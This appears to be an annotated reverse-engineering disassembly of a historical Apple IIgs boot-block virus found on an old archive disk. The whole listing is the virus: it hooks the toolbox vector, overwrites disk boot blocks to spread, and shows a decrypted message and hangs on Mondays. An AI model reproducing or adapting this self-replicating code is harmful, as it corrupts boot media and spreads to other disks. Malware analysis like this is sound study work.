(back to project page)

boot-virus.bin Disassembly

                      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                      ;                                                                              ;
                      ; Apple IIgs boot block virus disassembly.                                     ;
                      ;                                                                              ;
                      ; This was identified in https://retrocomputing.stackexchange.com/q/32009/56,  ;
                      ; in an archive called ody2001.shk (Odyssey 2001), on a disk called            ;
                      ; SPY.NETWORK.                                                                 ;
                      ;                                                                              ;
                      ; The code assumes it has been booted from a SmartPort device in slot 5.  It   ;
                      ; will hook itself into the toolbox vector and try to infect devices found in  ;
                      ; slot 5.  When certain conditions are met, e.g. the disk is being booted on a ;
                      ; Monday, it will print a message on the super hi-res screen and lock up.      ;
                      ;                                                                              ;
                      ; The disassembly was created with 6502bench SourceGen v1.10.                  ;
                      ;                                                                              ;
                      ; Last updated 2025/08/20                                                      ;
                      ;                                                                              ;
                      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                      ReadBlock       .eq     $01    {const}    ;SmartPort call
                      WriteBlock      .eq     $02    {const}    ;SmartPort call
                      MMBootInit      .eq     $0102  {const}    ;()
                      QDStartUp       .eq     $0204  {const}    ;(DirPg,MastSCB,MaxWid,MemID)
                      GrafOn          .eq     $0a04  {const}    ;()
                      ClearScreen     .eq     $1504  {const}    ;(Color)
                      PenNormal       .eq     $3604  {const}    ;()
                      SetSolidPenPat  .eq     $3704  {const}    ;(Color)
                      MoveTo          .eq     $3a04  {const}    ;(h,v)
                      SetTextMode     .eq     $9c04  {const}    ;(TextM)
                      SetForeColor    .eq     $a004  {const}    ;(Color)
                      DrawString      .eq     $a504  {const}    ;(@Str)
                      MON_PWREDUP     .eq     $03f4             ;power-up RESET checksum
                      NEWVIDEO        .eq     $c029             ;RW video select (SHR)
                      CLOCKCTL        .eq     $c034             ;RW bits 0-3 = border color
                      SmartPort5      .eq     $c50d             ;slot 5 smartport entry

                                      .addrs  $0800
00/0800: 01           L0800           .dd1    $01

                                      .rwid   shortm,shortx
00/0801: 18           boot1           clc
00/0802: fb                           xce
00/0803: c2 30                        rep     #$30
                                      .rwid   longm,longx
00/0805: a2 fe 01                     ldx     #$01fe            ;copy $800-9ff to $be00-bfff
00/0808: bd 00 08     @loop           lda     L0800,x
00/080b: 9d 00 be                     sta     $be00,x
00/080e: ca                           dex
00/080f: 10 f7                        bpl     @loop
00/0811: 4c 1b be                     jmp     init2

                      ; 
                      ; This code may be executed at either $00/BExx and $E1/BExx.  It primarily lives
                      ; in bank $E1, but will be copied back to back $00 to make SmartPort calls.  The
                      ; copy in $E1 is the "primary" copy, so variables are (usually) accessed there.
                      ; 
                                      .addrs  $be14
00/be14: 03           rd_cmd_list     .dd1    $03               ;parameter count
00/be15: 01                           .dd1    $01               ;unit number
00/be16: 00 08                        .dd2    $0800             ;data buffer = $0800
00/be18: 01 00 00                     .dd3    $000001           ;block number = 1

00/be1b: 38           init2           sec
00/be1c: fb                           xce
                                      .rwid   shortm,shortx
00/be1d: e2 30                        sep     #$30
00/be1f: 20 0d c5                     jsr     SmartPort5        ;read the standard boot block from block 1
00/be22: 01                           .dd1    ReadBlock
00/be23: 14 be                        .dd2    rd_cmd_list
00/be25: 18                           clc
00/be26: fb                           xce
00/be27: c2 30                        rep     #$30
                                      .rwid   longm,longx
00/be29: af 01 be e1                  ldal    $e1be01           ;are we already in memory?
00/be2d: c9 18 fb                     cmp     #$fb18
00/be30: d0 09                        bne     install           ;no, install
00/be32: af 8b 16 e1                  ldal    $e1168b           ;check vector?
00/be36: c9 ff 5c                     cmp     #$5cff
00/be39: d0 24                        bne     check_time
                      ; 
00/be3b: 8b           install         phb
00/be3c: a9 00 02                     lda     #$0200
00/be3f: a2 00 be                     ldx     #$be00            ;copy $00/be00-bfff to $e1/be00-bfff
00/be42: 9b                           txy
00/be43: 54 e1 00                     mvn     #$00,#$e1         ;sets data bank register to $e1
                                      .dbank  $e1
00/be46: ad 88 16                     lda     $1688             ;save old address
00/be49: 8d 2a bf                     sta     orig_vector
00/be4c: ad 8a 16                     lda     $168a
00/be4f: 8d 2c bf                     sta     orig_vector+2
00/be52: a9 5c 86                     lda     #$865c            ;store JML $e1be86 at $e1/1688
00/be55: 8d 88 16                     sta     $1688
00/be58: a9 be e1                     lda     #$e1be
00/be5b: 8d 8a 16                     sta     $168a
00/be5e: ab                           plb                       ;back to bank 0
                      ; 
                                      .dbank  $00
00/be5f: a9 fc f2     check_time      lda     #$f2fc            ;ReadTimeHex ^ $ffff
00/be62: 48                           pha
00/be63: 48                           pha
00/be64: 48                           pha
00/be65: 48                           pha
00/be66: 49 ff ff                     eor     #$ffff
00/be69: aa                           tax
00/be6a: 22 af 00 fe                  jsl     $fe00af           ;issue ReadTimeHex
00/be6e: 7a                           ply
00/be6f: 7a                           ply
00/be70: 7a                           ply
00/be71: 68                           pla                       ;last word has weekday in high byte
00/be72: 29 00 0f                     and     #$0f00            ;mask it
00/be75: c9 00 02                     cmp     #$0200            ;is weekDay = 2 (Monday)?
00/be78: d0 03        _branch         bne     boot2             ;no, bail out
00/be7a: 4c 2e bf                     jmp     show_msg          ;yes, do bad things

00/be7d: 38           boot2           sec
00/be7e: fb                           xce
                                      .rwid   shortm,shortx
00/be7f: e2 30                        sep     #$30
00/be81: a2 50                        ldx     #$50              ;slot 5
00/be83: 4c 01 08                     jmp     $0801             ;do standard boot

                      ; 
                      ; This is the toolbox call vector intercept code.
                      ; 
                                      .rwid   longm,longx
00/be86: e0 02 01     intercept       cpx     #MMBootInit       ;app startup?
00/be89: f0 03                        beq     do_stuff          ;yes, try to infect floppy
00/be8b: 82 9c 00                     brl     orig_vector       ;no, just resume normal processing

00/be8e: da           do_stuff        phx
00/be8f: 8b                           phb
00/be90: 0b                           phd
00/be91: 08                           php
00/be92: a9 ff 01                     lda     #$01ff
00/be95: a2 00 be                     ldx     #$be00
00/be98: 9b                           txy
00/be99: 54 00 e1                     mvn     #$e1,#$00         ;copy code back to bank 0
                                      .dbank  $00
00/be9c: 5c a7 be 00                  jml     try_infect        ;execute it there

                      ; 
00/bea0: 03           rdwr_cmd_list   .dd1    $03               ;parameter count
00/bea1: 01                           .dd1    $01               ;unit number
00/bea2: 00 08        rdwr_addr       .dd2    L0800             ;address
00/bea4: 00 00 00     rdwr_blocknum   .dd3    $000000           ;block number

                      ; This executes in bank 0.
00/bea7: a9 00 00     try_infect      lda     #$0000
00/beaa: 5b                           tcd
00/beab: 38                           sec
00/beac: fb                           xce
                                      .rwid   shortm,shortx
00/bead: e2 30                        sep     #$30
00/beaf: a9 08                        lda     #$08              ;addr = $800
00/beb1: 8d a3 be                     sta     rdwr_addr+1
00/beb4: 9c a4 be                     stz     rdwr_blocknum     ;block = 0
00/beb7: 20 0d c5                     jsr     SmartPort5        ;read it (ignore errors)
00/beba: 01                           .dd1    ReadBlock
00/bebb: a0 be                        .dd2    rdwr_cmd_list
00/bebd: a9 0a                        lda     #$0a              ;addr = $a00
00/bebf: 8d a3 be                     sta     rdwr_addr+1
00/bec2: ee a4 be                     inc     rdwr_blocknum     ;block = 1
00/bec5: 20 0d c5                     jsr     SmartPort5        ;read it
00/bec8: 01                           .dd1    ReadBlock
00/bec9: a0 be                        .dd2    rdwr_cmd_list
00/becb: af d6 bf e1                  ldal    shown_flag        ;have we shown message today?
00/becf: f0 13                        beq     check_blocks      ;no, go check disk blocks
00/bed1: 9c 34 c0                     stz     CLOCKCTL          ;set border to black (and confuse clock?)
00/bed4: a9 c1                        lda     #$c1
00/bed6: 8d 29 c0                     sta     NEWVIDEO          ;switch to super hi-res screen
00/bed9: af 37 5a e1                  ldal    $e15a37           ;check current screen contents
00/bedd: c9 f0                        cmp     #$f0              ;pixels will be $f0 after rendering message
00/bedf: d0 4d                        bne     show_msg          ;don't see it, go draw
00/bee1: 82 d2 00                     brl     finish            ;might be showing already, just finish up

00/bee4: ad 01 08     check_blocks    lda     boot1             ;check start of block 0 code
00/bee7: 49 38                        eor     #$38              ;is this a standard boot ($38 = SEC)?
00/bee9: f0 10                        beq     replace_boot      ;looks like it, replace it
                      ; See if block 1 is empty.
00/beeb: a2 00                        ldx     #$00
00/beed: 8a                           txa
00/beee: 1d 00 0a     @loop           ora     $0a00,x
00/bef1: 1d 00 0b                     ora     $0b00,x
00/bef4: e8                           inx
00/bef5: d0 f7                        bne     @loop
00/bef7: c9 00                        cmp     #$00
00/bef9: d0 27                        bne     bail              ;there's stuff in block 1, don't overwrite
                      ; 
                      ; Write our code to block 0, and the previous contents of block 0 to block 1.
                      ; 
00/befb: 18           replace_boot    clc
00/befc: fb                           xce
00/befd: c2 30                        rep     #$30
                                      .rwid   longm,longx
00/beff: ee fe bf                     inc     counter           ;inc counter (not checked?)
00/bf02: 38                           sec
00/bf03: fb                           xce
                                      .rwid   shortm,shortx
00/bf04: e2 30                        sep     #$30
00/bf06: a9 be                        lda     #$be              ;addr = $be00
00/bf08: 8d a3 be                     sta     rdwr_addr+1
00/bf0b: 9c a4 be                     stz     rdwr_blocknum     ;block = 0
00/bf0e: 20 0d c5                     jsr     SmartPort5        ;write block
00/bf11: 02                           .dd1    WriteBlock
00/bf12: a0 be                        .dd2    rdwr_cmd_list
00/bf14: a9 08                        lda     #$08              ;addr = $800 (original boot block)
00/bf16: 8d a3 be                     sta     rdwr_addr+1
00/bf19: ee a4 be                     inc     rdwr_blocknum     ;block = 1
00/bf1c: 20 0d c5                     jsr     SmartPort5        ;write block
00/bf1f: 02                           .dd1    WriteBlock
00/bf20: a0 be                        .dd2    rdwr_cmd_list
                      ; 
00/bf22: 18           bail            clc
00/bf23: fb                           xce
00/bf24: c2 30                        rep     #$30
                                      .rwid   longm,longx
00/bf26: 28                           plp
00/bf27: 2b                           pld
00/bf28: ab                           plb
00/bf29: fa                           plx
00/bf2a: 5c 99 01 ff  orig_vector     jml     $ff0199           ;overwritten with toolbox vector

                                      .rwid   shortm,shortx
00/bf2e: 78           show_msg        sei
00/bf2f: 4b                           phk                       ;should be zero
                                      .dbank  $00
00/bf30: ab                           plb
00/bf31: 18                           clc
00/bf32: fb                           xce
00/bf33: c2 30                        rep     #$30
                                      .rwid   longm,longx
00/bf35: 9c f4 03                     stz     MON_PWREDUP       ;make reset reboot
00/bf38: f4 00 00                     pea     $0000
00/bf3b: f4 00 00                     pea     $0000
00/bf3e: f4 01 00                     pea     $0001
00/bf41: a2 04 02                     ldx     #QDStartUp
00/bf44: 22 af 00 fe                  jsl     $fe00af           ;make sure QuickDraw II is ready
00/bf48: a2 04 0a                     ldx     #GrafOn
00/bf4b: 22 af 00 fe                  jsl     $fe00af           ;turn on SHR mode
00/bf4f: e2 20                        sep     #$20
                                      .rwid   shortm
00/bf51: 9c 34 c0                     stz     CLOCKCTL          ;set border color to black (and confuse clock?)
00/bf54: c2 20                        rep     #$20
                                      .rwid   longm
00/bf56: f4 00 00                     pea     $0000             ;colorWord
00/bf59: a2 04 15                     ldx     #ClearScreen
00/bf5c: 22 af 00 fe                  jsl     $fe00af           ;clear screen to black
00/bf60: a2 04 36                     ldx     #PenNormal
00/bf63: 22 af 00 fe                  jsl     $fe00af           ;set pen to standard state
00/bf67: f4 03 00                     pea     $0003             ;colorNum
00/bf6a: a2 04 37                     ldx     #SetSolidPenPat
00/bf6d: 22 af 00 fe                  jsl     $fe00af           ;set pen color
00/bf71: f4 ff ff                     pea     $ffff             ;foreColor
00/bf74: a2 04 a0                     ldx     #SetForeColor
00/bf77: 22 af 00 fe                  jsl     $fe00af           ;set foreground color
00/bf7b: f4 04 00                     pea     $0004             ;textMode = modeForeCopy
00/bf7e: a2 04 9c                     ldx     #SetTextMode
00/bf81: 22 af 00 fe                  jsl     $fe00af           ;set text mode
00/bf85: f4 29 00                     pea     41                ;horiz
00/bf88: f4 64 00                     pea     100               ;vert
00/bf8b: a2 04 3a                     ldx     #MoveTo
00/bf8e: 22 af 00 fe                  jsl     $fe00af           ;set pen position
                      ; Decrypt message.
00/bf92: a2 30 00                     ldx     #$0030
00/bf95: bd d8 bf     @loop           lda     enc_msg,x
00/bf98: 49 fd 14                     eor     #$14fd
00/bf9b: 9d 00 20                     sta     $2000,x           ;trample buffer here
00/bf9e: ca                           dex
00/bf9f: ca                           dex
00/bfa0: 10 f3                        bpl     @loop
                      ; Print decrypted message.
00/bfa2: f4 00 00                     pea     $0000             ;address of temporary buffer
00/bfa5: f4 00 20                     pea     $2000
00/bfa8: a2 04 a5                     ldx     #DrawString
00/bfab: 22 af 00 fe                  jsl     $fe00af           ;draw string
00/bfaf: a9 ff ff                     lda     #$ffff
00/bfb2: 8f d6 bf e1                  stal    shown_flag        ;set flag?
                      ; 
                      ; Finish up by replacing the boot block.  We zero out the branch offset for the
                      ; instruction at $be78, which will cause execution to continue to the next
                      ; instruction regardless of whether the branch was taken.  This means the disk
                      ; will always try to show the message when booted.
                      ; 
                                      .rwid   shortm,shortx
00/bfb6: 38           finish          sec
00/bfb7: fb                           xce
00/bfb8: e2 30                        sep     #$30
00/bfba: 9c d6 bf                     stz     $bfd6             ;clear flag, but only in bank 0 copy
00/bfbd: 9c d7 bf                     stz     $bfd7             ; because we're about to write the block
00/bfc0: 9c 79 be                     stz     _branch+1         ;zero branch offset
00/bfc3: ee f4 03                     inc     MON_PWREDUP       ;ensure reset key reboots
00/bfc6: a9 be                        lda     #$be              ;addr = $be00
00/bfc8: 8d a3 be                     sta     rdwr_addr+1
00/bfcb: 9c a4 be                     stz     rdwr_blocknum     ;block = 0
00/bfce: 20 0d c5                     jsr     SmartPort5        ;write boot block
00/bfd1: 02                           .dd1    WriteBlock
00/bfd2: a0 be                        .dd2    rdwr_cmd_list
00/bfd4: 80 fe        forever         bra     forever           ;hang

                                      .addrs  *+$e10000
e1/bfd6: 00 00        shown_flag      .dd2    $0000
                                      .adrend ↑ $e1bfd6

                      ; 
                      ; This is exclusive-ORed with $14fd to obscure it.  When decoded, it's a Pascal
                      ; string (length-prefixed) that reads:
                      ; 
                      ; "SORRY DAVE... BUT I CAN'T DO THAT !!!"
                      ; 
00/bfd8: d8 47 b2 46+ enc_msg         .bulk   $d8,$47,$b2,$46,$af,$4d,$dd,$50
00/bfe0: bc 42 b8 3a+                 .bulk   $bc,$42,$b8,$3a,$d3,$3a,$dd,$56
00/bfe8: a8 40 dd 5d+                 .bulk   $a8,$40,$dd,$5d,$dd,$57,$bc,$5a
00/bff0: da 40 dd 50+                 .bulk   $da,$40,$dd,$50,$b2,$34,$a9,$5c
00/bff8: bc 40 dd 35+                 .bulk   $bc,$40,$dd,$35,$dc,$35
                      ; 
00/bffe: 00 00        counter         .dd2    $0000
                                      .adrend ↑ $be14
                                      .adrend ↑ $0800

Symbol Table

No exported symbols found.